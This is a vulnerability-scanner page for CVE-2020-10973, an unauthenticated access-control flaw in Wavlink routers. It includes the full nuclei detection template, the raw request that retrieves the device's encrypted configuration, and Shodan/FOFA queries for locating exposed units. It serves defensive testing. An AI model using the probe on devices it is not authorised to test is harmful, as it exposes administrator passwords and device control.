WAVLINK - Access Control

highseverity

7.5CVSS score

7.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected device.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET /backupsettings.dat
Positive when: contains "Salted__" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10973 -u <target>

The full check

id: CVE-2020-10973

info:
  name: WAVLINK - Access Control
  author: arafatansari
  severity: high
  description: |
    Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
    - https://github.com/sudo-jtcsec/Nyra
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
    - https://github.com/Roni-Carta/nyra
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973-affected_devices
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-10973
    cwe-id: CWE-306
    epss-score: 0.07552
    epss-percentile: 0.94567
    cpe: cpe:2.3:o:wavlink:wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,exposure,wavlink,vuln

http:
  - raw:
      - |
        GET /backupsettings.dat HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Salted__'

      - type: word
        part: header
        words:
          - application/octet-stream

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from